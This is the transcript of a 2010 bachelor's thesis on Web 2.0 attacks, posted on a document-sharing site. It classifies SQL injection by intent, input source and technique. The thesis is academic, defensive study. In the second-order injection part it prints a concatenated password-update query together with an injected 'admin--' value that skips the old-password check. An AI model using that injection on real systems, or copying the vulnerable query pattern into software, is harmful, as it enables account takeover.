• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
New Web 2.0 Attacks, B.Sc. Thesis
 

New Web 2.0 Attacks, B.Sc. Thesis

on

  • 5,308 views

Here is my B.Sc. thesis back in 2010. I should not consider this reading as up-to-date, but it's worth as basic start-up on the topic of Web Application Security. Please, note the two tables are meant ...

Here is my B.Sc. thesis back in 2010. I should not consider this reading as up-to-date, but it's worth as basic start-up on the topic of Web Application Security. Please, note the two tables are meant as attachments to this paper. Your critics are welcome. Enjoy!

The thesis is presented to the
Department of Electrical Engineering and Information Sciences
of the Ruhr-University of Bochum
Chair of Network and Data Security
of the Ruhr-University of Bochum,
Horst-Görtz Institute,
Prof. Jörg Schwenk

Here's the abstract:

The presented thesis in this paper is another discussion on the problem or problem-
complex: What is Web 2.0? How it works? Is it vulnerable to its security scope? How can
one utilize and share Web 2.0, knowing in this interactive collaboration, how to protect
himself?
In this bachelor work the reader will find history information, discussion on the evolu-
tion of the Web standards and most common Web 2.0 attacking classes. Two examples of
important Web 2.0 attacking vectors shall be discussed in depth, in such manner as an ana-
lysis and examples on the attacking techniques, deliberation on the trends in attack preven-
tion methods, discussion on the tools according to these.
This paper should give a good classification on the proposed examples of Web 2.0 at-
tacks, make a conclusion on behalf of the Life Cycle and security standards for the modern
Web 2.0 implementations, and perhaps offer some interesting proposals.

Statistics

Views

Total Views
5,308
Views on SlideShare
5,308
Embed Views
0

Actions

Likes
1
Downloads
87
Comments
0

0 Embeds 0

No embeds

Accessibility

Upload Details

Uploaded via as Adobe PDF

Usage Rights

CC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike License

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    New Web 2.0 Attacks, B.Sc. Thesis New Web 2.0 Attacks, B.Sc. Thesis Document Transcript

    • Bachelors Thesis New Web 2.0 Attacks in Partial Fulfillment of the Requirements for the Degree Bachelor of Science Presented to theDepartment of Electrical Engineering and Information Sciences of the Ruhr-University of Bochum Chair of Network and Data Security of the Ruhr-University of Bochum, Horst-Görtz Institute Krassen Deltchev e-mail: Krassen.Deltchev@rub.de original version completed in 18. February 2010 (revised version: 22.07.2010) First Examiner and Supervisor: Prof. Dr. Jörg Schwenk Co-Supervisor: Dipl.Ing Florian Kohler 2nd Examiner: Prof. Dr.-Ing. York Tüchelmann
    • Thesis LicenseBachelors ThesisNew Web 2.0 AttacksHorst-Görtz Institute, Ruhr-University of BochumUniversitätsstrasse 150, D-44780 Bochum, Germanyhttp://www.hgi.rub.de/hgi/news/Krassen.Deltchev@rub.de , http://www.nds.rub.de/chair/theses/Web20/If you like to request the original version of this thesis, please contact:Krassen.Deltchev@rub.de , or nds@rub.deThis thesis is licensed under the Creative CommonsAttribution-NonCommercial-NoDerivs 3.0 Germany License,http://creativecommons.org/licenses/by/3.0/legalcodeThis license permits non-commercial use of this work, as long as attribution is given.To view a copy of this license,visit: http://creativecommons.org/licenses/by-nc-nd/3.0/de/deed.en http://creativecommons.org/licenses/by-nc-nd/3.0/de/deed.de ,or send an e-mail to : http://creativecommons.org/contactSummary: You are free to Share — to copy, distribute and transmit the work;Under the following conditions:(i) Attribution — You must attribute the work in the manner specified by the author or licensor (butnot in any way that suggests that they endorse you or your use of the work).(ii) Noncommercial — You may not use this work for commercial purposes.(iii)No Derivative Works — You may not alter, transform, or build upon this work. III
    • AffirmationAffirmationHereby I declare that I have written this thesis by myself without any assistance from third partiesand have exclusively used the indicated literature and resources.Bochum, 18.02.2010 K.Deltchev V
    • AbstractAbstract The presented thesis in this paper is another discussion on the problem or problem-complex: What is Web 2.0? How it works? Is it vulnerable to its security scope? How canone utilize and share Web 2.0, knowing in this interactive collaboration, how to protecthimself? In this bachelor work the reader will find history information, discussion on the evolu-tion of the Web standards and most common Web 2.0 attacking classes. Two examples ofimportant Web 2.0 attacking vectors shall be discussed in depth, in such manner as an ana-lysis and examples on the attacking techniques, deliberation on the trends in attack preven-tion methods, discussion on the tools according to these. This paper should give a good classification on the proposed examples of Web 2.0 at-tacks, make a conclusion on behalf of the Life Cycle and security standards for the modernWeb 2.0 implementations, and perhaps offer some interesting proposals.Keywords: Web 2.0, Web attacking vectors, Web Attacks classification, SQL Injection,CSRF, Best Practices, Web Application vulnerability scanner, Automated tools VII
    • AcknowledgementsAcknowledgementsThe author of this paper would like to thank for the support to:Alexander Kornbrusthttp://www.red-database-security.de/people/kornbrust.htmlB. Sc. Dominik Birkhttp://www.nds.rub.de/chair/people/dominik-birk/http://www.code-foundation.de/M. Sc. Felix Gröberthttp://groebert.org/felix/The author of this paper would like to thank for the support, advices and excellentteamwork to:Dipl. Ing. Florian Kohlerhttp://www.nds.rub.de/chair/people/kohlar/ IX
    • Table of ContentsTable of ContentsAbstract...............................................................................................................................VIIAcknowledgements..............................................................................................................IX1. Introduction........................................................................................................................1 1.1. What is Web 2.0?........................................................................................................1 1.2. Which are the Web 2.0 attacks?..................................................................................52. SQL Injection.....................................................................................................................9 2.1. Overview of the attacking vector................................................................................9 2.2. Attacking classification and techniques....................................................................10 2.2.1. SQL Injection attacking vector classification...................................................10 2.2.2. SQL Injection attacking techniques..................................................................19 2.3. SQL Injection prevention trends and methods.........................................................43 2.3.1. Best Practices ...................................................................................................43 2.3.2 Detection and Prevention Techniques................................................................48 2.4. Tools.........................................................................................................................53 2.4.1 Development tools.............................................................................................53 2.4.2. Auditing tools....................................................................................................54 2.4.3. Prevention tools................................................................................................57 2.4.4. Helper Tools......................................................................................................573. CSRF................................................................................................................................59 3.1. Overview of the attacking vector..............................................................................59 3.2. Attacking classification and techniques....................................................................60 3.3. CSRF prevention trends and methods......................................................................73 3.3.1 Server-Side protection ......................................................................................73 3.3.2 Client- Side protection.......................................................................................74 3.4. CSRF tools................................................................................................................76 3.4.1. Developer tools.................................................................................................76 3.4.2. Auditing tools....................................................................................................76 3.4.2.1. Server-Side implementations....................................................................76 3.4.2.2. Client-Side implementations.....................................................................77 3.4.3. Prevention Tools...............................................................................................78 3.4.3.1. Server-Side tools.......................................................................................78 3.4.3.2. Client-Side tools........................................................................................784. Final discussion and future work......................................................................................835. Conclusion........................................................................................................................85A Appendix: References and abbreviations............................................................................I A.1. References..................................................................................................................I A.2. Abbreviations............................................................................................................VB. Appendix: Source listings..............................................................................................VII B.1. Oracle- VPD- Honey table- implementation, Alexander Kornbrust [L16]............................................................................................VII B.2. Hacking CSRF tokens using CSS History Hack- implementation, Jeremiah Grossman[L34].....................................................................IXC. Appendix: Additional information.................................................................................XII C.1. Classification of the Web 2.0 attacking vectors( OWASP)....................................XII C.2. Injection Flaws OWASP Top 10 2010 RC1 general view.....................................XIII C.3. CSRF OWASP Top 10 2010 RC1 general view....................................................XIIIBibliography.......................................................................................................................XV XI
    • ListsXIII
    • ListsList of FiguresFigure 1: Web 2.0 Meme Map, Tim OReilly [10].................................................................2Figure 2: Methodology Used to Capture Web 2.0 Knowledge, Duane Nickull [11].............3Figure 3: Web 2.0 Reference Architecture, Duane Nickull [11]............................................4Figure 4: A Facebook application architecture vs. a normal web sever, [L38]....................70Figure 5: Facebook CSRF, the anatomy of the full fledged attack, [L38]..........................71Figure 6: OWASP Top 10 - 2010 vs. OWASP Top 10 - 2007, [20]....................................XIIFigure 7: Injection Flaws- general view, OWASP Top 10 2010, [20]..............................XIIIFigure 8: CSRF- general view , OWASP Top 10 2010, [20].............................................XIIIList of TablesTable 1: ...sense of Web 2.0 by example, Tim OReilly........................................................1Table 2: Web 2.0 Design Patterns, Duane Nickull [11]..........................................................3Table 3: Top 10 Web 2.0 Attack vectors, Shreeraj Shah[17]................................................5Table 4: Classification of the SQL Injection Web attacking vector.....................................18Table 5: DBMS comments...................................................................................................21Table 6: Compromising the DB version , see further [28]...................................................34Table 7: DB Fingerprintig,[28].............................................................................................35Table 8: DBMS produces error messages caused byunclosed quotation mark( apostrophe),[28]..........................................................................36Table 9: DBMS table hashing solution 1..............................................................................45Table 10: DBMS table hashing solution 2............................................................................45Table 11: Classification of the CSRF attacking vector.........................................................61 XV
    • 1. Introduction1. Introduction1.1. What is Web 2.0?Discussing the Web 2.0, we are talking not only about a software platform, but also about a stand-ard, which relies on one hand on computer networks( WAN, MAN, LAN), on the other hand,defines the concatenation and the resulted, complete context of the software related terms: usability,simplicity, sociability, integration, outsourcing[1] and security[2]. Lets clarify the logical sense of these introducing words.Technically, there is no Web 2.0 standard and there is no technical specification on the term: Web2.0[3][4][L2].The terms, which are defined and standardized in a technical aspect, are the WorldWide Web- services and the World Wide Web- standards at W3C,please refer to [5][6][7][L1].The interested reader, would find out more on the evolution of the World Wide Web( WWW) andthe Netscape era at www.w3.org[8][9].Further, the common internet end-user knows that nowadays the World Wide Web is more than :personal homepages surfing, e-mailing and dynamic server-side techniques such as .asp( x), .cfm,.do, .php[3].In the late 2004 is registered the first formulation of Web 2.0.Afterwards, Tim OReilly speaks on aconference on September 2005 regarding the obsolete Web 1.0 standard , which should be replacedby the new and modern one- Web 2.0, see : What is Web 2.0? Design Patterns and Business Mod-els for the Next Generation of Software[10]. Lets show some aspects of this first formulation:Web 1.0 Transition Web 2.0DoubleClick → Google AdSenseOfoto → FlickrBritannica Online → Wikipediapersonal websites → bloggingdomain name speculation → search engine optimizationscreen scraping → web servicescontent management systems → wikispublishing → participationTable 1: ...sense of Web 2.0 by example, Tim OReillyFollowing, lets show the first map of Web 2.0 as supposed in [10]: 1
    • 1. Introduction Figure 1: Web 2.0 Meme Map, Tim OReilly [10] Everybody knows, makes discussions or has heard about: Google Mapps, YouTube, Myspace,Facebook, Twitter, Digg etc. The main reason for discussing those brand names is, because they allimpersonate Web 2.0 services, which cover the definition tasks of Web 2.0 : better usability, ad-equate sociability and integration, reasonable outsourcing. Lets discuss Web 2.0 as a software platform and say a few words on its recent up-to-date stand-ards and technologies.As fundamentals for the Web 2.0 architecture are assumed the transitions defined by Tim OReillyin [10], some of them are shown in Table 1( see above). For building up and extending Web 2.0,there are Design Patterns1,specified like in [11], lets introduce the most important of them in thenext table:1 http://en.wikipedia.org/wiki/Design_patterns 2
    • 1. IntroductionCollaborative Tagging Rich User Experience ( a.k.a RIA3, knowing something about( folksonomy)2 your users)Synchronized Web Participation / Collaboration ( harnessing collective intelligence)SOA4 Adaptive SoftwareSaaS, DaaS ( variations of SOA) Microformats ( a.k.a fine grained content accessibility)[L18]Persistant Rights Management Declarative Living / Tag guardeningMashup5 Incremental Update( a.k.a. “ Automatic Particle Update”)Table 2: Web 2.0 Design Patterns, Duane Nickull [11] Further, lets illustrate the designing process from the abstract ideas[L6] to the concrete imple-mentation as Web 2.0 applications, see the next Figure 2: Figure 2: Methodology Used to Capture Web 2.0 Knowledge, Duane Nickull [11]2 http://en.wikipedia.org/wiki/Folksonomy3 Better known as Rich Internet Applications: http://en.wikipedia.org/wiki/Rich_Internet_application4 http://en.wikipedia.org/wiki/Service_oriented_architecture5 http://en.wikipedia.org/wiki/Mashup_%28web_application_hybrid%29 3
    • 1. IntroductionFor more information on the trerms Knowledge Management[L6], Patterns( Design Patterns),SOA, please refer to [17].In a technical aspect, the sophisticated evolution[12] of the Web software platform introduces somenew formulations of old and standard technologies for building web-based implementations.An illustration of such can be found for example in the transitions fromJavaScript in to AJAX6, HTML 4 to HTML 57 and CSS to the future CSS Level 38[L3].So lets show an overview of the current level of Web 2.0 as a software platform, well elucidated inthe next Figure 3, see further[11][13]: Figure 3: Web 2.0 Reference Architecture, Duane Nickull [11]The motivation to meet the needs not only of the internet end-user, but on commercial level too, inthe best way, provokes this sophisticated and complex software architecture not to lose the dynam-ics in its development and to be always innovative. Though, such requirements bring up also secur-ity flaws, daily exploits and the growing interest of intruders[14][15][16][17].We reach the point in6 http://de.wikipedia.org/wiki/Ajax_%28Programmierung%297 http://de.wikipedia.org/wiki/HTML58 http://de.wikipedia.org/wiki/Cascading_Style_Sheets 4
    • 1. Introductionour discussion9 to explain the objectives of this paper.1.2. Which are the Web 2.0 attacks? Lets focus our discussion on the last term of the Web 2.0 definition, given at the beginning ofChapter 1 in this paper: the security, and do a general classification of the Web 2.0 attacking vec-tors.There are very few attacks, whose motivation and prerequirements is the existence of the recentWeb 2.0 standard, such examples are given in [17][18][19], so lets introduce some of them in thefollowing Table 3:Cross-site scripting in AJAX XML poisoningMalicious AJAX code execution RSS / Atom injectionWSDL scanning and enumeration Client side validation in AJAX routinesWeb services routing issues Parameter manipulation with SOAPXPATH injection in SOAP message RIA thick client binary manipulationTable 3: Top 10 Web 2.0 Attack vectors, Shreeraj Shah[17] In disagreement with the suitable classification given by Shreeraj Shah in [17], these attacksshould be rather ranged as important subclasses, belonging to existing Web attacking vectors. Moreover we shall consider the fact, that most of the recent and top vulnerabilities on the Web 2.0 plat-form, are well known security exposures for a matter of a decade, like SQL Injection, XSS,DoS( DDoS), Insufficient/ Broken Authentication, Insecure Storage/ Encryption of Data etc. So why shall we consider them as New Web 2.0 Attacks? Lets do an upshot on what is discussed so far: • there is no technical related term as Web 2.0, this is just a formulation of the current state of the Web software platform • Web 2.0 is represented by a complex and sophisticated software architecture, which experi- ences vast development and recurrent pursuit of innovations • modern attacks evoked by modern software technologies like AJAX, SOAP, RSS/ Atom, RIA etc. cannot be considered as new classes of Web attacks, because of the small range of their attacking scope, but more over as essential subclasses of existing Web attacking vec- tors.9 We shall recognize the usage of the term discussion in this paper, without humiliating the presentations technique : proposed thesis-> related argument(s), in the explanation part of this bachelor work. 5
    • 1. IntroductionThis leads us to the conclusion, that the existent attacking vectors on the Web platform are also ex-periencing their own development and they are being extended by subclasses, evoked by flaws andexploits in new software technologies, or new implementations of existing ones applied to the Websoftware architecture. The question about discussing new Web 2.0 attacks, can be substantiated into discussing currentattacking vectors on the Web platform, which are and will be from great importance regarding thesecurity hardening of Web software architecture and its implementations. So, lets make an assumption in this paper and call the Web platform in its current stage of devel-opment as software architecture in a word as Web 2.0. Before delivering the objectives of this paper, lets present some of the most important organiza-tions and projects, classifying the current Web attacking vectors and predicting the tendencies andnew trends in the Web security: • OWASP10, the free and open application security community • WASC11, Web Application Security Consortium • WHID12, The Web Hacking Incident Database[L5] • Secure Enterprise 2.0 Forum13 • Breach Security, Inc14The scope of this paper does not allow to provide an extended discussion on every single class ofWeb attacking vectors, see a brief presentation in Appendix C, C1; the interested reader should con-sider to study the following annual reports[20][21][22][23][24][L17] for this purpose. Now, lets focus on the objectives of this bachelor work. This paper presents a discussion on thecurrent and modern Web 2.0 attack classes. As an example, two of the most important Web attack-ing vectors: SQL Injection( SQLIA) and Cross Site Reference( or Request) Forgery ( CSRF orXSRF) shall be examined. The two classes are chosen wisely, as they are antagonistic in the tech-nical aspect of their implementations. The SQL Injection attacking vector is a typical representativeof the command line class of Web 2.0 attacks, on the contrary of this, the CSRF represents the Con-fused Deputy15 Web attacking vector, regarding this class of attacks, please refer to Chapter 3. Bythis means, the bachelor work shall cover not only technical aspects of the modern Web 2.0 attacks,but also the human aspect, which is related to the Web 2.0 by definition. This shall extend and10 http://www.owasp.org11 http://www.webappsec.org/12 http://www.xiom.com/whid , http://www.xiom.com/whid-list/all/2009 ,see further [L4]13 http://secure-enterprise20.org/14 http://www.breach.com, http://www.breach.com/resources/whitepapers/index.html15 For more on the term Confused Deputy, please refer to Chapter 3 6
    • 1. Introduction generalize the scope of the discussed attacks in this paper as well, on behalf of minimal amountof examples. Lets talk about the structure of this paper. Chapter 2 describes the SQL Injection as a class of Web 2.0 attacking vectors. The reader will find general information regarding the attack, followed by a complete16 discus-sion on the attacking techniques in this attacking vector. In a separate section are discussed the pre-vention methods and trends concerning the SQL Injection attacks. In the last section of this chapterwill be represented the related tools referring to this class of attacks. In Chapter 3 the discussion will proceed in an analogue manner on the CSRF- Attacks. Chapter 4 will summarize the results from the explanation part, see chapters 2 and 3, and discussfurther works on the problems mentioned in this papers thesis; and give also proposals related tothe discussed problems in this bachelor work. Chapter 5 represents the conclusion part of the paper. In the Appendix the reader will find: • references on the tools discussed in the paper and supporting internet links[internet articles, blogs, forum discussions], • code samples of tools and SQL Injection/ CSRF attack examples , • some additional figures, extending the illustration of the discussed( see Chapter 2 and Chapter 3) attacking vectors.16 We shall consider the term complete as concluded up to the current temporal momentum of the papers production state. 7
    • 2. SQL Injection2. SQL Injection2.1. Overview of the attacking vector Speaking on SQL Injection , we already mark the environment for these attacks: relational data-bases17, using the SQL18 language. What makes such relational Databases, or better to say: the operation with such Relational Data-base Management Systems( RDBMS), so important and interesting? Lets give some significant examples: • Wikipedia uses SQL Databases for storage and management[L10], • Facebook uses SQL databases for account storage and account management[L11], • Mozilla Firefox Web-browser uses SQLite for browser-history storage purposes [L12], • eBay uses Oracle for storage and management of its 1.4 Petabytes of information[L13], • Amazon even offers its own Relational Database service [L14], • Google uses its own developed DBMS- BigTable, for operating in Petabyte information range [L15]. Nowadays it is a standard procedure to use and utilize DBMS for information storage and man-agement purposes, solving small up to middle-weight problems of such manner using SQLite orMySQL[L19] and for the sophisticated tasks deploying PostgreSQL[22], MSSQL[L20] orOracle[L21]. Thus, we answer the first half of the question, regarding the importance of the usage of relationalDatabases, lets explain, what makes the DBMS interesting?As the scope of this paper is a discussion over security issues, lets repeat the already mentionedthesis: if there is a complex and dynamically growing system, there is always an interest of the in-truder to find exploits and security flaws supporting its development process.We shall mention that SQL Injection is a Nr. 1 Web attacking vector according to the OWASP TopTen Project 2010, see [20]. Another interesting fact is that a query at YouTube on the term SQL Injection gives about 700responses19. Lets focus on the technical schema of the SQL Injection attacks execution. It follows a simplerule: intruders know-how vs. the developers/administrators know-how. Still, the implementation of17 http://en.wikipedia.org/wiki/Relational_database_management_system18 http://en.wikipedia.org/wiki/Sql19 This query is made in January 2010. 9
    • 2. SQL Injectionthe attacking techniques is complex and it proposes difficulties in the attacks prevention, which insome cases is rather not a simple task.The SQL Injection Attack is mentioned for the first time in December 1998[25].It starts as a WebAttack on the Windows IIS 4.0 Server. Nowadays there is no exceptional SQL Server, which iscompletely, nor effectively hardened against SQL Injection flaws and attacks. Lets continue our discussion with the section, giving a complete classification of the SQL Injec-tion as a Web 2.0 attacking vector and explaining some of the most interesting and important at-tacks execution techniques.2.2. Attacking classification and techniquesLets first introduce a classification of the SQLIA attackers profiles, note that this classification isnot complete, see [26]: • Curious DBA or Employee • Leaving employee • DBA covering its own faults • External hacker • Criminal employee • Intelligence agency2.2.1. SQL Injection attacking vector classification Lets introduce the class hierarchy of the attacking vectors as a logical construct and the classhierarchy notation related to this paper. We describe in this bachelors thesis two Web 2.0 attacking vectors: SQL Injection and Cross SiteRequest Forgery; both of the attacking vectors represent classes in the Web 2.0 attacking vectorhierarchy. Every class of attacks has its own subclasses, which describe different aspects: technical,motivational or source related, of the particular attacking vector we intend to describe. If the attack-ing vectors subclass is complex as a construct and requires to be extended in the attacks classifica-tion, we shall define a further level in the class hierarchy: a sub-subclass, sub2class of the SQLIAvector for an instance; or a sub-subsubclass, a sub3class of the CSRF attacking vector for example.There are three parameters, which we shall generally classify the SQL Injection attacks into,as [27], the classification given by Halfond et al., in 2006: 10
    • 2. SQL Injection • Attacks intent • Attacks Input Source • Type of the attack, or technical attacks classificationThe main reason for selecting this attacking class hierarchy among all four observed SQLIA classi-fications, presented in [27][28][29] and [26] is, the well defined hierarchically construct and theprecise definition of the different SQL Injection attacks aspects. In this paper we shall update andextend this classification to meet the current state of the SQLIA development as a Web attackingvector.In some cases, where it is suitable, we shall enhance the examples regarding different attackingscenarios on behalf of the other class hierarchies defined in [28][29] and [26].Speaking more on the attacks intent, see [27] we shall distinguish the following intruders motiva-tions for taking the attack in action: • Extracting data • Adding or Modifying data • Performing Denial of Service • Bypassing authentication • Executing remote commandsLets introduce the separate intentions aspects briefly. Extracting DataWe have already described the importance of the utilization of DBMS systems on modern Web Ap-plications and gave some significant examples. We can also proceed in this way of thoughts andconsider the fact that nowadays storage of information depends on Relational Database Manage-ment Systems. Intruders are also aware of that fact. In many cases Web Applications are designed togather input information from all over the world and store it in DBMSes, though to allow Data ma-nipulation only for restricted personnel. On the one hand this fact intuitively explains the attackersinterest to compromise such systems, on another it elucidates the fact, concerning the complexityaspects of the attacking scenarios development and deployment. We shall demonstrate further in theexplanation part of this paper, which are the techniques allowing data extraction from a comprom-ised system.Lets designate the SQLIA approaches concerning such intent: Tautologies, Illegal/Logically Incor- 11
    • 2. SQL Injectionrect Queries, UNION Query, Piggy-Backed Queries, Inference SQLIA. Adding or Modifying DataThere are particular SQL statements concerning data modification: DROP, TRUNCATE, DELETE,UPDATE and INSERT. Knowing this fact the intruder tries to utilize it. The attacker is not, or notonly interested in Data Extraction, moreover to speculate with stored data on Web Applications andobserve the consequences of the applied manipulation scenario. Attacking techniques related tosuch an intent are: Piggy-Backed Queries.Note that there are other SQL Injections suitable to support the mentioned attacking techniqueabove, please consider further reading. Performing Denial of ServiceSuch DoS attacks are DBMS dependent and further according to the SQL Server load or amount ofthe stored data, they could be adapted to achieve optimal results.They can differ in their impact- from Server overload to System shutdown.The intruder performs query requests to the victims SQL Server, whose statements evaluationforces the compromised DBMS to get into DoS state.SQLIA techniques concerning this topic area are: Inference SQL Injection attacks, see Timing At-tacks and especially Benchmark attacks; Stored Procedures SQL Injection attacks. Note that sup-portive injection methods are Stacked Queries, Alternate Encodings and UNION Queries as well. Bypassing AuthenticationThis is a classic SQLIA Intent example. The intruder is interested in deploying further SQL Injec -tion intents as data extraction, or data modification or a DoS, though to achieve this goal, the re-quirement is a successful login on the Web Application and particular its backend the SQL Server. Ifthere is information leakage regarding a legal user to the DBMS system, this simplifies the task toproceed with accomplishing the complete attacking scenario. Though there are cases related toDBMSes, which apply greater users restriction like PostgreSQL, see further, and the task of By-passing Authentication converts to Bypassing Admin Authentication for an instance. 12
    • 2. SQL InjectionSQL Injection attacks related to such an intent are the Tautologies SQLIA, UNION Query. Support-ive techniques represent Inference SQLIA, Illegal/Logically Incorrect Queries and Alternate Encod-ings as well. Executing Remote CommandsAs already proposed, nowadays the Web 2.0 Platform provides diversity in the Web Applications,which should meet the needs of the modern internet user, and motivation for growing complexity inthe software implementations. DBMS products try to cover such aspects, providing sophisticatedand precise functions solving such tasks. Though such a tough competition explains also the factthat the Software implementations are still error prone and they will be, see [28]. Such securityleaks are from great interest for the intruder, which furthermore can allow the exploitation not onlyof the compromised DBMS, but also of the integrated Operating System to it. Important topics hereare user rights exploitation, compromising the usage of particular DBMS stored procedures andfunctions.SQLIA representative therefore are: Stored Procedures SQL Injection attacks, Piggy-Backed Quer-ies and respectively supportive attacking approaches represent the Tautologies, Illegal/Logically In-correct Queries,Inference SQLIA, UNION Queries, Stacked Queries, Alternate Encodings, Com-pounded SQLIA.Lets represent the attacks input source parameter, as proposed in [27]: • Injection through user input • Malicious strings in Web forms • Malicious strings in URLs • Injection through cookies • Modified cookie fields containing injection strings • Injection through server variables • Headers are manipulated to contain attack strings. • Second-order Injection • Frequency-based Primary Application • Frequency-based Secondary Application • Secondary Support Application • Cascaded Submission Application Lets discuss this categorization more detailed. 13
    • 2. SQL Injection Injection through User InputIt is important here to clarify the fact, that discussing Web Applications, Web Application Security,Web 2.0 Attacks20, we are discussing software problems, concerning software implementations andstandards related to the HTTP protocol regarding Application Layer 7 in the ISO/OSI standard,see [30][31]. There are other supportive protocols as : FTP, HTTP NG, MUX, WebMUX etc.,though the main interface and also environment concerning the Web Software Platform and Prob-lems is represented by the stateless Hypertext Transfer Protocol21. Concerning the related Cli-ent-Server Model there are two ways to apply user input to the server, as already known using GETor POST HTTP requests. Commonly, they are the most widely compromised input sources related to SQL Injection attacksand to other Web 2.0 attacking vectors, fee further explanations and examples. Web applications are designed to handle such user inputs in the same manner as operating withany other common variables, constants and parameters, declared in the source of the Web SoftwareApplication. The intruders are aware of this fact and exploit such sources as further explained in the paper. Injection Through Cookies As already known, HTTP Cookie22 is a technique to apply state information for internet activityon behalf of the stateless HTTP Application Protocol, to extend its functionality. Technically the cookies( we shall use this form, meaning HTTP Cookie further in this paper) areimplemented as files, concerning state information, generated by the Web Application/ Server andstored on the Client Machines of the Internet Users, involved to interact in the Client-Server Model.The Client Application, inducing HTTP communication, typically the Client Web Browser, has con-trol over the cookie and if not explicit restricted utilizes this technique. This represent another inputsource, particular concerning the Client Side of the Web Communication. Furthermore, if a specificWeb application utilizes the cookie content, concerning deployment of SQL query tasks important20 SQLIA should not be considered as pure Web-Application attack, HTTP is not a pre-requirement for successful execution of the attack, though we are concentrating in this thesis only on the SQLIA as a Web 2.0 attacking vector; for examples on SLQLIA scenarios different than Web-Attacks, please refer to [26]21 http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol22 http://en.wikipedia.org/wiki/HTTP_cookie 14
    • 2. SQL Injectionfor its DBMS functionality, the attacker can exploit this and follow another effective way to com-promise the Web Application. Injection through Server Variable It is very important to explain here the meaning of the term Server variables. Server variables represent set of system variables concerning HTTP, network headers and envir-onmental variables as well. Such variables typically concern: procedures, applying to logging usagestatistics and to identifying Client Browser( we shall use further just browser in the paper) trends. Keeping in mind that, they represent system variables- mostly used for statistical purposes,which speaks for the usage of these variables- utilisation in all likelihood, is straight-forward ex-ploited by the intruder; furthermore, as a consequence to this fact, the lack of appropriate sanitiza-tion techniques applied to the server variables, make the attackers task to compromise the Web Ap-plication/ DBMS even easier. One attacking scenario to achieve this is to forge the HTTP, or Network headers and to injectSQLIA directly into them. As the forged header is saved as variable value and later evaluated by asystem SQL query the attack consequently will be implemented as well. Second-Order Injection The heretofore described Input Source Injection mechanisms represent First-Order SQL Injectionapproaches. This means that there are no additional layer, between the layer presenting the applyingof the specific SQLIA, or complex of SQLIA techniques and the layer concerning the injection exe-cution and system compromising. Note that Timing SQLIA do not represent explicit Second-OrderInjection attacks, moreover they could be used as supportive attacking methods. Lets describe the Second-Order Injection attacks in detail.The injected code is applied to the compromised DBMS to be executed indirectly later on. The at-tacker does not intent to induce an immediate SQLIA. Instead of that, the attacker uses the fact thatthe compromised system follows specific execution scenario, thats why the intruder utilizes suchattacking technique, because of the knowledge that the system will trigger subsequent the executionof the injected code singularly in all likelihood.As in [32] proposed we can represent the following Second-Order Injection attacks categorization. 15
    • 2. SQL Injection Frequency-based Primary Application Such Second-Order Injection attacks concern Web Applications utilized for statistical purposes,as collecting and representing top search sites or searched items on the internet for an instance. Frequency-based Secondary Applications These attacks try to compromise Web Applications utilized for gathering information and repres-enting a statistical information tool. Unlike the previous one, these applications do not need to im-plement explicit the injected code, moreover they act as submission applications to already com-promised one. Such submission applications are related to task like reviewing web-requests or eval-uating error logs in statistical aspects, like reviewing the best browser or reviewing the best HIPStool etc. Note that these Second-Order Injection affect mostly system administrators. Secondary Support Applications This Second-Order Injection attacks apply to help-desks and phone support Web Applications.These Applications collect and evaluate data from primary applications trusting their input data tobe already secured and sanitized. Intruders exploit this input source as well. Mostly affected are in-ternal users related to the compromised Web Application. Cascaded Submission Applications The main injection prone input source here are applications, which evaluate multiple client sub-missions within a single processing statement, as Web maps or localization services applications.Frequently the SQL injection applies to compromised search request, as these should be processedlater on by the DBMS system, which represents a backend for the Web service application.An interesting example is proposed by Rafal Los23 in ( page 31, [33]).Now lets illustrate this on another example proposed in [27], concerning users registration Webpage, follows the SQL command sample for password renewal:23 HP security strategist, http://preachsecurity.blogspot.com/ 16
    • 2. SQL InjectionqueryString=”UPDATE users SET pwd= “ +newpwd + “WHERE uName= ” + uName + “ ANDpwd= ” + oldpwd + “ ” Compromising this, the intruder can achieve exploiting the command as follows:UPDATE users SET pwd=newpwd WHERE uName=admin-- AND pwd=oldpwd Please, consider further reading for understanding the syntax usage and implementation.The reader concerned can find more detailed information on this topic at [32].Finally, lets classify the SQL Injection attacks on the technical aspect, see also [27]: • Classic SQL Injection • Piggy-backed Queries • Tautologies • Alternate Encodings • Inference • Illegal/Logically Incorrect Queries • UNION SQL Injection • Stored Procedures • Out-Of-Band Channeling • Inference SQLIA • Classic Inference SQL Injection • Conditional Responses • Conditional Errors • Blind SQLIA or Timing Attacks • Double Blind SQL Injection( Benchmark/ Time-delay attacks) • Deep Blind SQL Injection( Multiple statements SQLIA) • DBMS specific SQLIA • DB Fingerprinting • DB Mapping • Compounded SQLIA • Fast-Fluxing SQLIAWe shall illustrate and rebuild this specification in the following Table 4: 17
    • 2. SQL Injection Classification Methods Techniques/ parameters Implementation Identifying injectable parameters Extracting Data see Input type of attacks Intent Adding or Modifying Data Performing Denial of Service Evading detection Bypassing Authentication Executing remote commands Performing privilege escalation Injection through user input Malicious URL: GET- Method strings in Web Input filed(s): POST- Method forms Input Source Injection through cookies Modified cookie fields containing SQLIA Injection through server Headers are manipulated to contain SQLIA variables Second-order injection Frequency-based Primary Application Frequency-based Secondary Application Secondary Support Application Cascaded Submission Application Piggy-Backed Queries Tautologies Classic SQLIA Alternate Encodings Illegal/ Logically Incorrect Queries UNION SQLIAInput type of attacks, Stored Procedures SQLIA technical aspect Out-Of-Band SQLIA Out-Of-Band Channeling Conditional Responses Classic Inference Conditional Errors SQLIA Inference Double Blind SQLIA(Time- Blind SQLIA or delays/ Benchmark attacks) Timing Deep Blind SQLIA ( SQLIA Multiple statements SQLIA) DBMS specific SQLIA DB Fingerprinting DB Mapping Compounded SQLIA Fast-Fluxing SQLIATable 4: Classification of the SQL Injection Web attacking vectorLets represent the given extended specification on behalf of couple interesting examples. 18
